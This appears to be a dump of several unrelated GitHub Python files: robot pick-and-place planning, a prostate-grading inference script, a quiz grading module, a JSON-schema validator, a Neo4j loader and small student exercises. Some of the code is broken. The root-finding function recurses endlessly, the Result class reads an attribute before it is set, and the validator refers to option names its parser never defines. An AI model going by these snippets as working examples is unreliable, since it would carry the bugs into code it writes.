wait_for_user\n\nfrom pychoreo.utils import is_any_empty\nfrom pychoreo.process_model.cartesian_process import CartesianProcess, CartesianSubProcess\nfrom pychoreo.process_model.gen_fn import CartesianPoseGenFn\n\nfrom pychoreo_examples.picknplace.utils import flatten_dict_entries\nfrom pychoreo_examples.picknplace.trajectory import PicknPlaceBufferTrajectory\n\ndef get_enumerate_picknplace_generator(unit_geo):\n for initial_frame, pick_grasp, goal_frame, place_grasp in zip(\n unit_geo.get_initial_frames(get_pb_pose=True), unit_geo.pick_grasps,\\\n unit_geo.get_goal_frames(get_pb_pose=True), unit_geo.place_grasps):\n pick_approach_landmarks = [multiply(initial_frame, pick_grasp.get_object_from_approach_frame(get_pb_pose=True)), \\\n multiply(initial_frame, pick_grasp.get_object_from_attach_frame(get_pb_pose=True))]\n pick_retreat_landmarks = [multiply(initial_frame, pick_grasp.get_object_from_attach_frame(get_pb_pose=True)), \\\n multiply(initial_frame, pick_grasp.get_object_from_retreat_frame(get_pb_pose=True))]\n\n place_approach_landmarks = [multiply(goal_frame, place_grasp.get_object_from_approach_frame(get_pb_pose=True)), \\\n multiply(goal_frame, place_grasp.get_object_from_attach_frame(get_pb_pose=True))]\n place_retreat_landmarks = [multiply(goal_frame, place_grasp.get_object_from_attach_frame(get_pb_pose=True)), \\\n multiply(goal_frame, place_grasp.get_object_from_retreat_frame(get_pb_pose=True))]\n\n ee_landmarks = [pick_approach_landmarks, pick_retreat_landmarks, place_approach_landmarks, place_retreat_landmarks]\n\n # from pybullet_planning import get_distance\n # for i, ee_p in enumerate(ee_landmarks):\n # print('{} : distance {}'.format(i, get_distance(ee_p[0][0], ee_p[1][0])))\n yield ee_landmarks\n\ndef get_picknplace_ee_pose_compose_fn(ee_pose_interp_fn, **kwargs):\n def pose_compose_fn(ee_landmarks):\n process_path = []\n for end_pts_path in ee_landmarks:\n sub_path = []\n for i in range(len(end_pts_path)-1):\n sub_path.extend(ee_pose_interp_fn(end_pts_path[i], end_pts_path[i+1], **kwargs))\n process_path.append(sub_path)\n return process_path\n return pose_compose_fn\n\n######################################\n\ndef build_picknplace_cartesian_process_seq(\n element_sequence, elements,\n robot, ik_joint_names, attach_link, sample_ik_fn,\n num_steps=5, ee_attachs=[],\n self_collisions=True, disabled_collisions={},\n obstacles=[], extra_disabled_collisions={},\n tool_from_root=None, viz_step=False, pick_from_same_rack=True):\n\n # load EE body, for debugging purpose\n ik_joints = joints_from_names(robot, ik_joint_names)\n\n # cloning all bodies in each unit_geometry to avoid syn problem\n element_bodies_pick = {}\n element_bodies_place = {}\n for e_id in element_sequence:\n # assume that each element is associated with only one unit geometry\n unit_geo = elements[e_id].unit_geometries[0]\n\n element_bodies_pick[e_id] = unit_geo.pybullet_bodies\n initial_pose = unit_geo.get_initial_frames(get_pb_pose=True)[0]\n for e_body in element_bodies_pick[e_id]:\n set_pose(e_body, initial_pose)\n\n # element_bodies_place[e_id] = [clone_body(body) for body in unit_geo.pybullet_bodies]\n element_bodies_place[e_id] = unit_geo.clone_pybullet_bodies()\n goal_pose = unit_geo.get_goal_frames(get_pb_pose=True)[0]\n for e_body in element_bodies_place[e_id]:\n set_pose(e_body, goal_pose)\n\n cart_process_seq = []\n assembled_element_obstacles = []\n for seq_id, e_id in enumerate(element_sequence):\n element = elements[e_id]\n unit_geo = elements[e_id].unit_geometries[0]\n\n grasp_enum_gen_fn = get_enumerate_picknplace_generator(unit_geo)\n pnp_compose_fn = get_picknplace_ee_pose_compose_fn(interpolate_poses_by_num_steps, num_steps=num_steps)\n pose_gen_fn = CartesianPoseGenFn(grasp_enum_gen_fn, pnp_compose_fn)\n\n # build collision_fn\n # ! element attachment cannot be built here since it's grasp sample-dependent\n # object_from_attach = unit_geo.pick_grasps[0].get_object_from_attach_frame(get_pb_pose=True)\n # # root_from_tool * tool-in-attach_from_object = root_from_object\n # pick_attach_from_object = multiply(invert(tool_from_root), invert(object_from_attach)) if tool_from_root else \\\n # invert(object_from_attach)\n # # notice that the shape in its goal pose (although there can be symmetric copy) should be the same\n element_attachs = [Attachment(robot, attach_link, None, e_body) for e_body in element_bodies_pick[e_id]]\n\n # approach 2 pick\n # ! end effector attachment is not modeled here\n # ! collision with the element being picked is not modeled here\n pick_approach_obstacles = obstacles + assembled_element_obstacles\n if not pick_from_same_rack:\n pick_approach_obstacles.extend(flatten_dict_entries(element_bodies_pick, range(0, seq_id)))\n # else:\n # pick_approach_obstacles.extend(element_bodies_pick[seq_id]))\n pick_approach_collision_fn = get_collision_fn(robot, ik_joints, pick_approach_obstacles,\n attachments=[], self_collisions=self_collisions,\n disabled_collisions=disabled_collisions,\n extra_disabled_collisions=extra_disabled_collisions,\n custom_limits={})\n\n # pick 2 retreat\n # ! end effector attachment is not modeled here\n # ! collision with the element being picked is not modeled here\n pick_retreat_collision_fn = get_collision_fn(robot, ik_joints, pick_approach_obstacles,\n attachments=[], self_collisions=self_collisions,\n disabled_collisions=disabled_collisions,\n extra_disabled_collisions=extra_disabled_collisions,\n custom_limits={})\n\n # approach 2 place\n # ! collision with the unassembled element is not modeled here\n # ! no attachment is modelled now\n # TODO: ptwise collision check to exonerate touching between elements that are designed to be in contact\n # Now the workaround is shrinking the element's collision geometry\n place_approach_obstacles = obstacles + assembled_element_obstacles\n place_approach_collision_fn = get_collision_fn(robot, ik_joints,\n place_approach_obstacles,\n attachments=[], self_collisions=self_collisions,\n disabled_collisions=disabled_collisions,\n extra_disabled_collisions=extra_disabled_collisions,\n custom_limits={})\n # place 2 retreat\n place_retreat_collision_fn = get_collision_fn(robot, ik_joints,\n place_approach_obstacles,\n attachments=[], self_collisions=self_collisions,\n disabled_collisions=disabled_collisions,\n extra_disabled_collisions=extra_disabled_collisions,\n custom_limits={})\n\n # build sub-processes\n pnp_sub_procs = [CartesianSubProcess(sub_process_name='pick_approach', collision_fn=pick_approach_collision_fn),\n CartesianSubProcess(sub_process_name='pick_retreat', collision_fn=pick_retreat_collision_fn),\n CartesianSubProcess(sub_process_name='place_approach', collision_fn=place_approach_collision_fn),\n CartesianSubProcess(sub_process_name='place_retreat', collision_fn=place_retreat_collision_fn)]\n\n # create trajectory containers for subprocesses\n pnp_sub_procs[0].trajectory = PicknPlaceBufferTrajectory(robot, ik_joints, None, ee_attachments=ee_attachs,\n tag='pick_approach', element_id=e_id, element_info=repr(element))\n pnp_sub_procs[1].trajectory = PicknPlaceBufferTrajectory(robot, ik_joints, None, ee_attachments=ee_attachs,\n tag='pick_retreat', element_id=e_id, element_info=repr(element))\n pnp_sub_procs[2].trajectory = PicknPlaceBufferTrajectory(robot, ik_joints, None, ee_attachments=ee_attachs,\n tag='place_approach', element_id=e_id, element_info=repr(element))\n pnp_sub_procs[3].trajectory = PicknPlaceBufferTrajectory(robot, ik_joints, None, ee_attachments=ee_attachs,\n tag='place_retreat', element_id=e_id, element_info=repr(element))\n\n process_name = 'picknplace-E#{}'.format(e_id)\n cart_process = CartesianProcess(process_name=process_name,\n robot=robot, ik_joint_names=ik_joint_names,\n sub_process_list=pnp_sub_procs,\n ee_pose_gen_fn=pose_gen_fn, sample_ik_fn=sample_ik_fn,\n element_identifier=e_id)\n\n cart_process_seq.append(cart_process)\n assembled_element_obstacles.extend(element_bodies_place[e_id])\n\n # / debug viz\n if viz_step:\n ee_poses = cart_process.sample_ee_poses()\n for sp_id, sp in enumerate(ee_poses):\n print('ID#{}:{} - sub process #{}'.format(e_id, element, sp_id))\n for ee_p in sp:\n for ee_at in ee_attachs:\n set_pose(ee_at.child, multiply(ee_p, tool_from_root))\n if has_gui(): wait_for_user()\n\n ik_sols = cart_process.get_ik_sols(ee_poses, check_collision=True)\n for sp_id, sp_jt_sols in enumerate(ik_sols):\n for jt_sols in sp_jt_sols:\n for jts in jt_sols:\n set_joint_positions(robot, ik_joints, jts)\n for ee_at in ee_attachs:\n set_pose(ee_at.child, multiply(ee_p, tool_from_root))\n if has_gui(): wait_for_user()\n return cart_process_seq\n","repo_name":"yijiangh/pychoreo","sub_path":"src/pychoreo_examples/picknplace/stream.py","file_name":"stream.py","file_ext":"py","file_size_in_byte":11223,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"62"} +{"seq_id":"8869283927","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun Apr 8 12:49:05 2018\n\n@author: 1\n\"\"\"\nimport os\nimport torch\nimport core_lzj\nfrom torch.autograd import Variable\nfrom torchvision.datasets import ImageFolder\nfrom torchvision import transforms\nfrom torch.utils.data import DataLoader\nimport torchvision.models as models\nimport numpy as np\nfrom datetime import datetime\nimport pandas as pd\n\n# re_im_size=448 #make all im to the same size\n# crop_im_size=196 #im_w=96 im_h=96\n\ntest_transform = transforms.Compose([\n # transforms.Resize(re_im_size),\n # transforms.CenterCrop(crop_im_size),\n transforms.ColorJitter(brightness=0.3, contrast=0.3, hue=0.3),\n transforms.ToTensor(),\n transforms.Normalize((0.485, 0.456, 0.406), (0.229, 0.224, 0.225))\n])\n\n# check_dir = './check/'\n# check_dir = './three grade test/1/'\nbatch_size = 1\nnum_epochs = 1\nnum_class = 3\nvalidname = 'resnext crossvalid1 three class'\ngpu = 0\n\n\ndef get_imgdata(file_dir):\n this_folder = core_lzj.MyTestDataset(root=file_dir + '/', transform=test_transform)\n this_data = DataLoader(this_folder, batch_size=batch_size, shuffle=False)\n this_name = this_folder.mask_img\n return this_data, this_name\n\n\ndef check(net, check_data, file_name, class_num, row_num, col_num, cuda):\n if torch.cuda.is_available():\n net.to(cuda)\n print('check is starting')\n every_class_num = np.zeros(class_num)\n img_mat = np.zeros([row_num, col_num], dtype=int) - 1\n # evert_class_name = []\n # [evert_class_name.append([]) for _ in range(class_num)]\n fig_num = 0\n # label = 999\n for im, im_name in zip(check_data, file_name):\n net.eval()\n if torch.cuda.is_available():\n im = im.to(cuda) # (bs, 3, h, w)\n # label = label.cuda() # (bs, h, w)\n output = net(im)\n _, pred_label = output.max(1)\n every_class_num[pred_label.data[0]] += 1\n im_row_col = im_name.split('.')[0]\n im_row = int(im_row_col[-5:-3]) - 1\n im_col = int(im_row_col[-2:]) - 1\n img_mat[im_row, im_col] += pred_label.data[0] + 1\n # evert_class_name[pred_label.data[0]].append(file_name[fig_num])\n fig_num += 1\n # label_flag = label\n class_num_temp = every_class_num / fig_num\n return every_class_num, class_num_temp, img_mat\n\n\nif __name__ == '__main__':\n torch.manual_seed(1)\n torch.cuda.manual_seed(1)\n select = 0\n if select:\n check_dir = core_lzj.get_directory()\n net_path = core_lzj.get_file()\n else:\n check_dir = 'check/0/145x_12_12'\n net_path = 'resnext crossvalid1 three class/ResNetparams_Adam_bj0.4_r10_1999.pkl'\n cal_row_col = check_dir.split('_')\n row = int(cal_row_col[-2])\n col = int(cal_row_col[-1])\n my_model = models.resnext50_32x4d(num_classes=3)\n my_model.load_state_dict(torch.load(net_path))\n result = []\n device, init_flag = core_lzj.cuda_init(gpu)\n data, file = get_imgdata(file_dir=check_dir)\n every_num, every_per, img = check(net=my_model, check_data=data, file_name=file, class_num=num_class, row_num=row,\n col_num=col, cuda=device)\n print(check_dir)\n\n class_data = pd.DataFrame(data=[every_num, every_per], columns=list(range(num_class)))\n class_data.to_csv(check_dir + validname + '_' + 'oneNET' + core_lzj.get_time() + '_classnum_result.csv',\n index=False)\n img_data = pd.DataFrame(data=img)\n img_data.to_csv(check_dir + validname + '_' + 'oneNET' + core_lzj.get_time() + '_imgmat_result.csv',\n header=False, index=False)\n core_lzj.cuda_empty_cache(init_flag)\n\n\n\n\n\n","repo_name":"Zhijie-Liu/Gleason-scoring-of-prostate","sub_path":"check_oneNET_oneIMG.py","file_name":"check_oneNET_oneIMG.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"21435750898","text":"# import math as m\r\n# def f():\r\n# x = x1 + y1\r\n\r\ndef f_Root(x):\r\n \"\"\"\r\n this programme will calculate root of a quadratic eqn\r\n \"\"\"\r\n y = f_Root(x)\r\n x1 = f_Root(x) + 1\r\n y1 = f_Root(x1)\r\n while y != 0:\r\n '''\r\n iteration over periode\r\n '''\r\n dellx = x1 - x\r\n m = y1/dellx\r\n x = x1 + y1/m\r\n if y == 0:\r\n print(x)","repo_name":"AmandeepSaha/My-College-Programs","sub_path":"my python programs/perfect_root_finding.py","file_name":"perfect_root_finding.py","file_ext":"py","file_size_in_byte":388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"72658729158","text":"\"\"\"\nInterface that contains the Grade and Result class, the Grade can calculate the highest grade of a student, and the \nResult stores the grade objects of all students, so that it can calculate average, summary etc.\n\"\"\"\n\n\n\n\nclass Grade:\n \"\"\"A class that stores all the grade aspect items of a quiz that a student has taken.\n It takes care of all the marking by checking answers against correct answers, adding points and attempts up and comparing\n attempts to ensure the student gets the highest grade possible. \n \"\"\"\n def __init__(self, dictionaryofstudentanswer, studentnameORid, pointList, correctAnswer):\n \"\"\" dictionaryofstudentanswer -- a dictionary which the key is their studentname/id (str) and the value is their answer (str)\n studentnameORid -- a student name/id (str) which is one of the keys in the above dictionary\n pointList -- a list that stores the points for each question of the quiz. \n correctAnswer -- a list stores the correct answer of the quiz\n \"\"\"\n self.point_list = pointList \n self.allattemptGrade = []\n self.highestgrade = 0\n self.student = studentnameORid\n self.answer = dictionaryofstudentanswer.get(self.student)\n self.gradelist = [] # example [[1,2,1,0,1],[],[]] means the student only try attempt 1, the sublist indicate the corresponding points\n self.number_attempt = 0\n self.participate = True\n self.correct_answer = correctAnswer\n\n def calculate_grade(self):\n \"\"\" Calculate the grade of all attempts, then updates the grade to the highest grade possible by comparing every attempt to eachother.\n If an attempt is found to have not been utilized, it will be marked False and will not be used by this method, preventing any possible\n errors that could arrise by adding null values.\n \"\"\"\n self.allattemptGrade=[]\n if self.getparticipate() == False:\n self.allattemptGrade=[]\n self.highestgrade = 0\n \n else:\n highest = 0\n for i in self.gradelist:\n s = 0\n for j in i:\n s = s + j\n self.allattemptGrade.append(s)\n if s > highest:\n highest = s\n self.highestgrade = highest\n\n\n\n def checkParticipate(self):\n \"\"\"This function checks if all the answers in an attempt are a null value, and if so, updates the participation value of the attempt\n to False, and adds the attempt to the total. This ensures there are no errors when attempting to calculate a grade of an attempt that\n was not utilized, as it will simply be rendered False and unusable.\n \"\"\"\n if self.answer == []:\n self.participate = False\n self.number_attempt = 0\n else:\n n=0\n for i in self.answer:\n if i != []:\n n=n+1\n self.number_attempt = n\n\n def check_answer(self):\n \"\"\"Compare the answers of each attempts to the correct answers.\n If they match, get the corresponding points and append it to a sublist.\n If not, append 0 to the sublist, each attempt will have a correspoinding sublist.\n After all attemps are checked, update the total numbers of attempts,\n and append all the sublists to the self.gradelist list object. \n \"\"\"\n self.gradelist=[]\n self.checkParticipate()\n if self.getparticipate() == True:\n for ans in self.answer:\n attempt=[]\n for i in range(len(self.correct_answer)):\n if ans[i]==self.correct_answer[i]:\n attempt.append(self.point_list[i])\n else:\n attempt.append(0)\n self.gradelist.append(attempt)\n else:\n self.gradelist=[]\n\n def getStudent(self):\n \"\"\"Return the name or id of the student depends on what key word is stored\"\"\"\n return self.student\n\n def getHighestGrade(self):\n \"\"\"Return the highest grade out of all the attempts.\"\"\"\n return self.highestgrade\n\n def getAttemptGrade(self, number):\n \"\"\"Return a specific attempt's grade, which attempt is used depends on the number given to the function.\n\n int number -- the number of the attempt (number = 1 refers to \"attempt 1\")\n \"\"\"\n while True:\n try:\n return self.allattemptGrade[number-1]\n \n except ValueError:\n break\n def getNumAttempts(self):\n \"\"\"Return the total number of attempts that a student taken to the quiz\"\"\"\n return self.number_attempt\n\n def getparticipate(self):\n \"\"\"Return if the student participate in the quiz (True/False)\"\"\"\n return self.participate\n\nclass Result:\n \"\"\"\n This class creates a result object of all the students who took the quiz. It uses a list of Grades and compares them to eachother in order\n to get a class average, how many students participated, a list of questions, among other things. This is useful mostly to the instructor,\n as they can see how well their class is doing and may choose to keep this information private from their students. It takes in the dictionary\n of student ids compared to answers, a pointList, a questionList, and the specific quizNumber. \n\n gradeObjectList: a list that contains each student's the grade objects, by using this list, each student's highest grade can be retrieved\n \"\"\"\n def __init__(self, dictionaryofstudentanswer, pointList, questionList, quizNumber, correctAnswer):\n self.quiz_number = quizNumber\n self.question_list = questionList\n self.point_list = pointList\n self.dict_answer = dictionaryofstudentanswer\n self.fullMark = 0\n self.participation = 0\n self.average = 0\n self.result_dict = dict()\n self.student_list = list(dictionaryofstudentanswer.keys())\n self.gradeObjectList = []\n for i in self.student_list:\n grade = Grade(self.dict_answer, i, self.point_list, self.correct_answer)\n grade.check_answer()\n grade.calculate_grade()\n self.gradeObjectList.append(grade)\n\n def calculate_fullmark(self):\n \"\"\"\n This method calculates the full mark of a quiz by adding up the points given in pointList, and assigns the value to the fullMark\n value of the Result object. \n \"\"\" \n s = 0\n for i in self.point_list:\n s = s + i\n self.fullMark = s\n\n def get_student_grade_object(self, nameORid):\n \"\"\"\n This method returns the grade object of a given student name or id, which is taken in as a string. It searches the gradeObjectList\n for that string and return what grade the student has gotten. This makes it easy for instructors to keep track of certain students if\n need be. \n \"\"\"\n for i in self.gradeObjectList:\n if i.getStudent() == nameORid:\n return i\n\n def make_result_dict(self):\n \"\"\"\n This function makes a dictionary and stores the student name/id (depends on login info) as a key, \n and stores the highest grade as the value of the quiz. Then it updates the result_dict value of the Result object for easy accesibility.\n \"\"\" \n for i in self.student_list:\n for j in self.gradeObjectList:\n if i == j.getStudent():\n self.result_dict[i] = j.getHighestGrade()\n\n def calculate_Average(self):\n \"\"\"\n This method calculates the average grade of the class on the current quiz using every item in the gradeObjectList,\n and then updates the average value in the Result object, so instructors can see how their class did on the quiz as a whole.\n \"\"\"\n s = 0\n for i in self.gradeObjectList:\n s = s + i.getHighestGrade()\n \n self.average = s/len(self.gradeObjectList)\n\n def calculate_participation(self):\n \"\"\"\n Calculate how many students have participated in the quiz. This can be compared to the overall number of students in the class to see\n how active the students are being, which may inspire grade curving or something akin to that.\n \"\"\"\n n = 0\n for i in self.gradeObjectList:\n if i.getparticipate() == True:\n n += 1\n self.participation = n\n\n def createHistogram(self):\n \"\"\"\n This method creates a histogram of the data given based on the average marks of the students on the quiz related to which students\n achieved which marks.\n \"\"\"\n return \"Hello, World!\"\n \n def getAverage(self):\n \"\"\"Returns the average value of the result object, which represents the average grade of the quiz\"\"\"\n return self.average\n\n def getFullMark(self):\n \"\"\"Returns the total point value of the quiz, adding every student's marks together\"\"\"\n return self.fullMark\n\n def get_result_dict(self):\n \"\"\"Returns the result dictionary, a dictionary that holds student names or ids as keys and their marks on the quiz as values.\"\"\"\n return self.result_dict\n\n def get_question(self):\n \"\"\"Returns the questions of the quiz.\"\"\"\n return self.question_list\n\n def get_quiz_number(self):\n \"\"\"Returns the specific number of the quiz.\"\"\"\n return self.quiz_number\n\n def get_participation(self):\n \"\"\"Return the number of students who participated in the quiz\"\"\"\n return self.participation","repo_name":"KyloMUN/cs2005_group_project","sub_path":"notes/john/resultAndgrade.py","file_name":"resultAndgrade.py","file_ext":"py","file_size_in_byte":9718,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"4687038799","text":"import os\nfrom argparse import ArgumentParser\nfrom io import StringIO\nfrom types import ModuleType\nfrom typing import cast, TextIO, NamedTuple, Optional\n\nimport requests\n\nfrom pyjsg.jsglib.loader import loads, Logger, is_valid\nfrom pyjsg.parser_impl.generate_python import parse\n\n\nclass ValidationResult(NamedTuple):\n success: bool\n fail_reason: str\n test_name: str\n type: Optional[str]\n\n def __str__(self) -> str:\n return (f\"{self.test_name}: \" if self.test_name else \"\") +\\\n (f\"Conforms to {self.type}\" if self.success else f\"FAIL - {self.fail_reason}\")\n\n\nclass JSGPython:\n def __init__(self, jsg: Optional[str]=None, python: Optional[str]=None, print_python: bool=False) -> None:\n \"\"\" Construct a jsg validation module\n\n :param jsg: JSG specification. If none, use python\n :param python: Python specification.\n :param print_python: True means print Python to stdout\n \"\"\"\n if jsg is not None:\n self.schema = self._to_string(jsg) if not self._is_jsg(jsg) else jsg\n else:\n self.schema = None\n self.python = parse(self.schema, self.__class__.__name__) if self.schema else self._to_string(python)\n if print_python:\n print(self.python)\n self.json_obj = None\n if not self.python:\n raise ValueError(\"JSGPython: jsg parsing error\")\n spec = compile(self.python, self.__class__.__name__, 'exec')\n self.module = ModuleType(self.__class__.__name__)\n exec(spec, self.module.__dict__)\n\n @staticmethod\n def _is_jsg(s: str) -> bool:\n \"\"\" Determine whether s looks like a JSG spec \"\"\"\n return isinstance(s, str) and ('\\n' in s or '{' in s)\n\n @staticmethod\n def is_json(s: str) -> bool:\n \"\"\" Determine whether s looks like JSON \"\"\"\n return s.strip().startswith(('{', '['))\n\n @staticmethod\n def _to_string(inp: str) -> str:\n \"\"\" Convert a URL or file name to a string \"\"\"\n if '://' in inp:\n req = requests.get(inp)\n if not req.ok:\n raise ValueError(f\"Unable to read {inp}\")\n return req.text\n else:\n with open(inp) as infile:\n return infile.read()\n\n def conforms(self, json: str, name: str = \"\", verbose: bool=False) -> ValidationResult:\n \"\"\" Determine whether json conforms with the JSG specification\n\n :param json: JSON string, URI to JSON or file name with JSON\n :param name: Test name for ValidationResult -- printed in dx if present\n :param verbose: True means print the response\n :return: pass/fail + fail reason\n \"\"\"\n json = self._to_string(json) if not self.is_json(json) else json\n try:\n self.json_obj = loads(json, self.module)\n except ValueError as v:\n return ValidationResult(False, str(v), name, None)\n logfile = StringIO()\n logger = Logger(cast(TextIO, logfile)) # cast because of bug in ide\n if not is_valid(self.json_obj, logger):\n return ValidationResult(False, logfile.getvalue().strip('\\n'), name, None)\n return ValidationResult(True, \"\", name, type(self.json_obj).__name__)\n\n\ndef genargs() -> ArgumentParser:\n \"\"\"\n Create a command line parser\n\n :return: parser\n \"\"\"\n parser = ArgumentParser()\n parser.add_argument(\"spec\", help=\"JSG specification - can be file name, URI or string\")\n parser.add_argument(\"-o\", \"--outfile\", help=\"Output python file - if omitted, python is not saved\")\n parser.add_argument(\"-p\", \"--print\", help=\"Print python file to stdout\")\n parser.add_argument(\"-id\", \"--inputdir\", help=\"Input directory with JSON files\")\n parser.add_argument(\"-i\", \"--json\", help=\"URL, file name or json text\", nargs='*')\n return parser\n\n\ndef validate_json(argv) -> bool:\n def do_validation(entry: str) -> bool:\n if opts.verbose and not validator.is_json(entry):\n print(f\"Validating {entry}... \", end='')\n success, reason = validator.conforms(entry)\n if opts.verbose:\n if success:\n print(\"Success\")\n return True\n else:\n print(f\"Fail: {reason}\")\n return False\n\n opts = genargs().parse_args(argv)\n validator = JSGPython(opts.spec, print_python=opts.print)\n all_pass = True\n\n if opts.outfile:\n with open(opts.outfile, 'w') as outf:\n outf.write(validator.python)\n\n if opts.indir:\n for filedir, _, files in os.walk(opts.indir):\n for file in files:\n if file.endswith('.json') or file.endswith('.jsonld'):\n fname = os.path.join(filedir, file)\n if not do_validation(fname):\n all_pass = False\n\n if opts.json:\n for json in opts.json:\n if not do_validation(json):\n all_pass = False\n return all_pass\n","repo_name":"hsolbrig/pyjsg","sub_path":"pyjsg/validate_json.py","file_name":"validate_json.py","file_ext":"py","file_size_in_byte":4963,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"20333862343","text":"import setuptools\n\nwith open(\"README.md\", \"r\", encoding=\"utf-8\") as fh:\n long_description = fh.read()\n\nwith open('requirements.txt') as f:\n required = f.read().splitlines()\n\nsetuptools.setup(\n name=\"bpbounds-PGMEINER\",\n version=\"0.0.1\",\n author=\"Peter Gmeiner\",\n author_email=\"peter.gmeiner@algobalance.com\",\n description=\"Nonparametric bound calculation for the average treatment effect\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/pgmeiner/bpbounds\",\n packages=setuptools.find_packages(),\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: GNU GENERAL PUBLIC LICENSE V3 (GPLV3)\",\n \"Operating System :: OS Independent\",\n ],\n python_requires='>=3.7',\n install_requires=required)\n","repo_name":"pgmeiner/bpbounds","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3571598023","text":"a=int(input(\"Enter the number to reverse:\"))\nn=a\nrev=0\nwhile(a>0):\n r=a%10\n rev*=10\n rev+=r\n print(rev)\n a//=10\nprint(\"Reverse of \"+str(n)+\" is \"+str(rev))","repo_name":"pkpkvineeth/ict_fullstack_course","sub_path":"python/reverseno.py","file_name":"reverseno.py","file_ext":"py","file_size_in_byte":170,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"16989560193","text":"import unittest\n\nfrom ..pre import Custom as PreCustom\nfrom ..post import Custom as PostCustom\nfrom ..exceptions import PyCondition\n\nfrom pyconditions.stage import Stage\n\n\nclass TestStage(unittest.TestCase):\n\n def test_both_pre_and_post(self):\n @PreCustom(\"a\", lambda a: a[0] == 2)\n @PostCustom(lambda a: a % 2 == 0)\n def test(a):\n return sum(a)\n\n self.assertRaises(PyCondition, test, [1])\n self.assertRaises(PyCondition, test, [2, 3])\n self.assertEquals(2, test([2]))\n\n stage = Stage()\n stage.prod()\n\n self.assertEquals(5, test([2, 3]))\n self.assertEquals(2, test([2]))\n","repo_name":"streed/pyConditions","sub_path":"pyconditions/test/test_Stage.py","file_name":"test_Stage.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"62"} +{"seq_id":"10517675581","text":"#!/usr/bin/env python\n# star_cat_tests\n\nfrom star_cat import Star_Cat\nfrom star import Star\n\n\ndef main():\n\n angle_size = 0.5 # keep angle size (0.5, 0.25 0.125, 0.0625) deg\n fov = 90 # max fov 180 deg\n scope_size = 30\n\n # initialize the star reference catalogue\n star_catalogue = Star_Cat(\n \"star_catalogue_init.txt\", angle_size, fov, scope_size\n )\n\n list_of_stars = []\n\n # Alpha Canis Minoris 1st brightest #8\n star = Star()\n star.quick_set_angles(122.405568693, 25.1172042972)\n list_of_stars.append([1, star])\n\n # Beta Geminorum 2nd brightest #17\n star = Star()\n star.quick_set_angles(56.8996735767, 6.70418748113)\n list_of_stars.append([2, star])\n\n # Alpha Leonis 3rd brightest #21\n star = Star()\n star.quick_set_angles(207.811973537, 30.9907648048)\n list_of_stars.append([3, star])\n\n # Beta Aurigae 4th brightest #43\n star = Star()\n star.quick_set_angles(13.6613254946, 31.3855516368)\n list_of_stars.append([4, star])\n\n # Alpha Geminorum 5th brightest #23\n star = Star()\n star.quick_set_angles(31.0045400679, 9.44994245983)\n list_of_stars.append([5, star])\n\n # Gamma Leonis 6th brightest // Maybe angle and dist\n star = Star()\n star.quick_set_angles(224.120815397, 29.3912178846)\n list_of_stars.append([6, star])\n\n \"\"\" Star Matching \"\"\"\n\n count = 0\n list_of_stars_size = len(list_of_stars)\n list_of_possible_matches = []\n\n # loop five times enforced by count\n while count < 5:\n # break early if too few stars\n if list_of_stars_size < 5:\n break\n\n star1 = list_of_stars[count + 0][1]\n star2 = list_of_stars[count + 1][1]\n star3 = list_of_stars[count + 2][1]\n star4 = list_of_stars[count + 3][1]\n star5 = list_of_stars[count + 4][1]\n stars = (star1, star2, star3, star4, star5)\n\n # Try matching to the scope for the first try\n if count == 0:\n list_of_possible_matches = star_catalogue.match_scope(stars)\n else:\n list_of_possible_matches = star_catalogue.match_global(stars)\n\n break # remove only test\n\n # if no candidates are returned\n # remove the count+0 star with the next brightest\n count += 1\n list_of_stars_size -= 1\n if len(list_of_possible_matches) > 0:\n break # can be possibly many group of candidates.\n print(list_of_possible_matches)\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"FlaSpaceInst/EZ-RASSOR","sub_path":"experimental/cosmic-gps/star_cat_tests.py","file_name":"star_cat_tests.py","file_ext":"py","file_size_in_byte":2475,"program_lang":"python","lang":"en","doc_type":"code","stars":56,"dataset":"github-code","pt":"62"} +{"seq_id":"14665187681","text":"\"\"\"\nCreator: khanh.brandy\nCreated on 2020-09-07\n\n\"\"\"\n\nimport logging\nfrom neo4j import GraphDatabase\nfrom neo4j.exceptions import ServiceUnavailable\n\nclass Loader:\n\n def __init__(self):\n self.uri = \"neo4j://localhost:7687\"\n self.user = \"neo4j\"\n self.password = \"XXXXXXX\"\n self.driver = GraphDatabase.driver(self.uri, \n auth=(self.user, self.password),\n encrypted=False\n )\n\n def close(self):\n self.driver.close()\n\n @staticmethod\n def runQuery(tx, query):\n tx.run(query)\n print('Done Query execution!')\n\n @staticmethod\n def loadUsers(tx, file_path):\n query = '''\n //=================================\n //== LOAD USERS\n //=================================\n CALL apoc.periodic.iterate(\n \"CALL apoc.load.csv('$file_path', {skip:0, limit:90000, header:true,\n mapping:{\n agentid: {type:'string'},\n in_degree: {type:'float'},\n out_degree: {type:'float'},\n page_rank: {type:'float'},\n community_id: {type:'string'},\n category: {type:'string'},\n status: {type:'string'},\n user_type: {type:'string'} \n }\n })\n yield map as row\", \n \"MERGE (a:Agent {agentid: row.agentid})\n ON CREATE SET a.in_degree = row.in_degree,\n a.out_degree = row.out_degree,\n a.page_rank = row.page_rank,\n a.community_id = row.community_id,\n a.category = row.category,\n a.status = row.status,\n a.user_type = row.user_type\"\n , {batchSize:100, iterateList:true, parallel:true})'''.replace('$file_path', file_path)\n tx.run(query)\n print('Loading Users list: {}'.format(file_path))\n\n @staticmethod\n def loadTrans(tx, file_path):\n query = '''\n //=================================\n //== 